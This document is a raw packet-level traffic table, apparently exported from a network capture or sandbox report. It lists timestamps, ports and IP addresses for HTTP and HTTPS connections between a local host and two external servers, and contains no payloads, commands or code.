Nov 18, 2024 02:34:26.557004929 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557012081 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557014942 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557033062 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557043076 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557049990 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557049990 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557054043 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557066917 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557075977 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557075977 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557089090 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557100058 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557104111 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557110071 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557120085 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557130098 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557136059 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557141066 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557152033 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557161093 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557162046 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557171106 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557174921 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557185888 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557189941 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557197094 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557207108 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557214975 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557218075 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557228088 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557238102 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557239056 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557246923 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557250023 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557260036 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557301998 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557301998 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557459116 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557470083 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557480097 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557490110 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557499886 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557508945 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557509899 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557521105 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557532072 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557533979 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557538986 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557549953 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557550907 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557559967 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557569981 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557573080 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557579994 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557594061 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557611942 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557615042 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557651043 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557658911 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557670116 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557679892 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557689905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557699919 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557709932 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557719946 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557719946 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557728052 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557732105 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557744026 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557746887 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557760954 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557766914 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557771921 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557784081 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557794094 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557804108 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557815075 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557823896 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557826042 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557826042 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557836056 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557843924 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557846069 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557856083 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557867050 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557873964 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557884932 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557887077 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557898045 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557904959 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557909012 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557919979 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557929993 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557938099 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557940960 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557949066 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557951927 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557965040 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557974100 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557984114 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.557986021 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.557993889 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558008909 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558022976 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558216095 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558227062 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558237076 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558259010 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558273077 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558373928 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558384895 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558396101 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558407068 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558417082 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558417082 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558427095 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558437109 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558439970 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558449984 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558459997 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558465958 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558473110 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558481932 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558490038 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558494091 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558501005 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558505058 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558523893 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558526039 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558535099 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558547020 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558556080 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558557987 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558568954 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558581114 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558588982 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558592081 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558603048 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558610916 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558613062 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558624983 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558634996 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558635950 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558660984 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558670998 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558682919 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558691978 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558696032 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558705091 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558721066 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558727026 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558737993 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558746099 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558751106 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558762074 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558770895 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558773041 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558782101 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558804035 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558804035 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558815956 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558825970 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558830976 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558836937 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558846951 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558856010 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558856010 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558866978 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558876991 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558883905 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558887005 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558893919 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558900118 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558914900 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558918953 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558928013 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.558952093 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.558973074 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.653970003 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.654504061 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.654534101 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.655901909 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.655914068 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.744554996 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.745090961 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.745122910 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.747522116 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.747534037 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.779136896 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.779215097 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.782927036 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.783020973 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.783551931 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.804501057 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.804531097 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.804579973 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.804594040 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.812674046 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.812711954 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.812783003 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.813342094 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.813364983 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.874826908 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.875252962 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.875329018 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.875555992 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.875571012 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.875597000 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.875603914 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.878376007 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.878453970 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.878539085 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.878741980 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.878773928 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.051868916 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.052567959 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.052596092 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.054114103 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.054124117 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.078417063 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.078851938 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.078881979 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.079339027 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.079344988 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.162606001 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.166260004 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.166277885 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.166975975 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.166984081 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.177717924 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.177993059 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.178081036 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.178127050 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.178143978 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.178169966 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.178175926 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.181341887 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.181386948 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.181478977 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.181649923 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.181670904 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.209791899 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.209889889 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.209940910 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.210184097 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.210213900 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.210233927 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.210242987 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.213278055 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.213380098 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.213468075 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.213654995 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.213692904 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.227179050 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.227242947 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.294608116 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.294761896 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.294801950 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.294985056 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.295003891 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.295020103 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.295026064 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.299635887 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.299685001 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.299794912 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.300040007 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.300065041 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.445425034 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.450499058 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450536013 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450548887 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450587988 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450598955 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450597048 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.450611115 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450634956 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.450648069 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.450654030 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450665951 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450676918 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450690985 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450699091 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.450725079 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.450875998 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450886965 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450897932 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450910091 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450927019 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450936079 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.450939894 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450953007 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450953960 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.450963974 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.450968981 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.450978041 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451000929 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451029062 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451040983 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451052904 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451064110 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451076031 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451077938 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451081991 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451093912 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451102018 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451106071 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451117992 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451129913 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451137066 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451149940 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451163054 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451164961 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451173067 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451185942 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451189995 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451200008 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451216936 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451242924 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451394081 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451406956 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451417923 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451430082 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451442003 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451447010 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451455116 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451467037 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451474905 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451478958 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451484919 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451492071 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451503038 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451525927 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451528072 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451539040 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451550007 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451553106 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451560974 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451574087 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451581001 CET	49776	80	192.168.2.6	185.215.113.16
